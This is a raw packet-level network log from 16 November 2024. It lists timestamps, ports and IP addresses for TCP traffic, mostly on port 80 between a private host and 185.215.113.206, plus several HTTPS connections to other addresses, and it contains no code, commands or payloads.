Nov 16, 2024 23:36:36.302346945 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302397966 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302401066 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.302453041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302503109 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302553892 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302555084 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.302603006 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302651882 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.302671909 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302721024 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302778959 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.302786112 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302819967 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302853107 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302869081 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.302890062 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302925110 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302931070 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.302954912 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302989006 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.302998066 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.303025961 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303075075 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.303076982 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303112030 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303158045 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.303164959 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303200960 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303230047 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303280115 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303283930 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.303352118 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303402901 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303404093 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.303437948 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303467035 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303492069 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.303519964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303555965 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303585052 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303610086 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.303637028 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303669930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303679943 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.303704023 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303747892 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.303755045 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303787947 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303827047 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.303839922 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303873062 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303908110 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303941011 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.303957939 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.303975105 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304007053 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304022074 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.304056883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304100990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304147005 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.304150105 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304184914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304218054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304229021 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.304255009 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304286957 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304296017 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.304323912 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304358006 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304369926 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.304409027 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304440975 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304455042 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.304475069 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304507017 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304539919 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304563046 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.304573059 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304606915 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304619074 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.304637909 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304672956 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304682970 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.304701090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304733992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304784060 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304790974 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.304812908 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304862976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304899931 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304927111 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.304934025 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304968119 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.304996967 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.305001974 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305036068 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305046082 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.305066109 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305099010 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305131912 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305149078 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.305514097 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305531025 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.305547953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305594921 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.305599928 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305634022 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305668116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305676937 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.305711031 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.305737019 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305769920 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305824041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305851936 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305876017 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.305953979 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.305998087 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.306078911 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.306108952 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.306159973 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.306195021 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.306211948 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.306227922 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.306260109 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.306304932 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.306554079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.306606054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.306639910 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.306663990 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.306672096 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.306706905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.306715012 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.306735039 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.306778908 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.307255983 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.307288885 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.307339907 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.307344913 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.307379961 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.307414055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.307421923 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.308021069 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.308048964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.308077097 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.308084011 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.308098078 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.308147907 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.308195114 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.308199883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.308237076 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.308264971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.308312893 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.308348894 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.308382988 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.308418036 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.308430910 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.308815002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.308877945 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.308932066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.308936119 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.308965921 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.308979034 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.309005022 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.309039116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.309071064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.309103966 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.309134007 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.309648037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.309726000 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.309739113 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.309762001 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.309777975 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.309792995 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.309798002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.309808016 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.309817076 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.309847116 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.310025930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.310039043 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.310054064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.310069084 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.310077906 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.310106039 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.310132980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.310235023 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.310251951 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.310266018 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.310293913 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.310319901 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.310911894 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.310928106 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.310944080 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.310967922 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.310983896 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.310995102 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.311003923 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.311018944 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.311017036 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.311042070 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.311075926 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.311330080 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.311342955 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.311369896 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.311382055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.311417103 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.311445951 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.311698914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.311713934 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.311729908 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.311745882 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.311772108 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.312036991 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.312072992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.312093019 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.312119961 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.312127113 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.312176943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.312222958 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.312485933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.312501907 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.312515974 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.312534094 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.312561035 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.312561035 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.313193083 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.313209057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.313224077 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.313244104 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.313249111 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.313260078 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.313271999 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.313277006 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.313283920 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.313302994 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.313302994 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.313333035 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.313410997 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.313457966 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.427129984 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.427149057 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.427212000 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.427212000 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.528384924 CET	443	49883	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.528981924 CET	49883	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.529047012 CET	443	49883	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.529412985 CET	443	49883	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.530281067 CET	49883	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.530358076 CET	443	49883	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.530407906 CET	49883	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.533396006 CET	443	49882	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.533567905 CET	49882	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.533587933 CET	443	49882	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.533905983 CET	443	49882	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.534166098 CET	49882	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.534229040 CET	443	49882	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.534250021 CET	49882	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.571333885 CET	443	49883	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.575352907 CET	443	49882	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.584305048 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.584347010 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.584381104 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.584471941 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.584471941 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.632913113 CET	49883	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.648072004 CET	49882	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.687058926 CET	443	49882	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.687117100 CET	443	49882	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.687185049 CET	49882	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.687199116 CET	443	49882	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.687827110 CET	443	49882	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.688091040 CET	49882	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.688097954 CET	443	49882	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.688121080 CET	49882	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.688143015 CET	49882	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.688162088 CET	49882	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.692082882 CET	443	49883	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.693263054 CET	443	49883	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.693344116 CET	49883	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.733722925 CET	443	49886	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.735305071 CET	49886	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.735347986 CET	443	49886	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.735884905 CET	49886	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.735892057 CET	443	49886	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.742177010 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.742197037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.742209911 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.742253065 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.742254972 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.742275953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.742317915 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.749422073 CET	49883	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.749444962 CET	443	49883	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.753647089 CET	443	49876	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:36.753894091 CET	49876	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:36.753926992 CET	443	49876	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:36.754257917 CET	443	49876	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:36.754812002 CET	49876	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:36.754880905 CET	443	49876	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:36.808564901 CET	49876	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:36.817884922 CET	443	49877	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:36.818211079 CET	49877	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:36.818219900 CET	443	49877	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:36.818890095 CET	443	49877	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:36.819246054 CET	49877	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:36.819346905 CET	443	49877	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:36.873126984 CET	49877	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:36.894107103 CET	443	49886	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.895035028 CET	443	49886	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.895103931 CET	49886	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.895351887 CET	49886	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.895371914 CET	443	49886	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.895385027 CET	49886	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.895391941 CET	443	49886	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.898005009 CET	49890	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.898041010 CET	443	49890	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.898576021 CET	49890	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.898756981 CET	49890	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.898777008 CET	443	49890	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.900238037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.900274992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.900290012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.900315046 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.900310993 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.900311947 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.900331020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.900399923 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.900399923 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.900399923 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.901890993 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.901932001 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.901946068 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.901959896 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.901967049 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.901967049 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.902004004 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.902004004 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.926047087 CET	443	49888	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.926609039 CET	49888	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.926640987 CET	443	49888	13.107.246.45	192.168.2.5
